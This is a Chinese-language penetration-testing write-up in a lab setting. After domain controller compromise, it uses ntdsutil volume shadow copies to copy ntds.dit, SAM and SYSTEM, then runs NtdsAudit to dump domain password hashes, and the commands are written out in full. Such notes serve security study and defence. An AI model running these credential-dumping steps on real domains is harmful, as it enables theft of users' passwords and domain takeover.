返回首页
EN
H7 / SECURITY RESEARCH NOTES

通过NtdsAudit进行域内密码凭证获取

环境说明

IPHOSTNAMENOTE
172.16.106.71KC360_WIN2012_1域控
172.16.100.52Windows 10域内主机
172.16.106.69KC360_WIN2008_1域内主机

前言

  • 在内网渗透过程中,当攻击者拿下域控以后,就可以尝试获取域内密码凭证等信息,这时首先需要获取三个文件,如下列表所示:
文件名称描述文件存放路径
ntds.dit活动目录数据库文件,包括与域内用户、组和组成员身份的各种相关信息。%SystemRoot%\NTDS\ntds.dit
SAM存储本地账户的密码哈希%SystemRoot%\System32\config\SAM
SYSTEM使用存储在SYSTEM注册表配置单元中的密钥对上述哈希值进行加密,因此破解SAM和ntds.dit文件都需要它%SystemRoot%\System32\config\SYSTEM
  • 有了这三个文件,我们再借助 NtdsAudit 来破解其密码哈希获取域内凭证信息。

攻击过程

什么是卷影复制

  • 卷影复制服务(Volume Shadow Copy Service)是微软Windows的一项组件服务,从Windows XP开始支持。
  • 作用:通过它我们可以创建某个时间点的副本(简单理解为磁盘快照吧)。

通过卷影复制获取关键文件

  • 前言中提到我们需要ntds.dit、SAM、SYSTEM三个文件,但是Windows禁止对这三个文件进行复制和读取,因此我们可以通过采取卷影复制的手段来获取它们。
  • 在域环境下默认提供了ntdsutil工具方便我们使用卷影复制的功能。
  • 首先我们创建快照:
ntdsutil snapshot "activate instance ntds" create quit quit

  • 这里我们得到快照ID:b3702cda-e8ba-4fdf-94c8-b3666bdacf70,然后我们使用该ID挂载快照。
ntdsutil snapshot "mount {b3702cda-e8ba-4fdf-94c8-b3666bdacf70}" quit quit

  • 然后我们从以下路径将三个文件复制到E:\credential目录下:
C:\$SNAP_202202091543_VOLUMEC$\Windows\NTDS\ntds.dit
C:\$SNAP_202202091543_VOLUMEC$\Windows\System32\config\SAM
C:\$SNAP_202202091543_VOLUMEC$\Windows\System32\config\SYSTEM

  • 然后我们后续根据快照ID卸载并删除快照
ntdsutil snapshot "unmount {b3702cda-e8ba-4fdf-94c8-b3666bdacf70}" quit quit
ntdsutil snapshot "delete {b3702cda-e8ba-4fdf-94c8-b3666bdacf70}" quit quit

尝试NtdsAudit提取凭证信息

  • 由于在Windows Server 2012上使用该工具时报错,暂时没有解决,所以将文件都复制到了本地WIN10个人主机上执行。
NtdsAudit.exe "ntds.dit" -s "SYSTEM" -p pwdump.txt --users-csv users.csv

  • 如下图可以看到获取到的用户及相应哈希信息: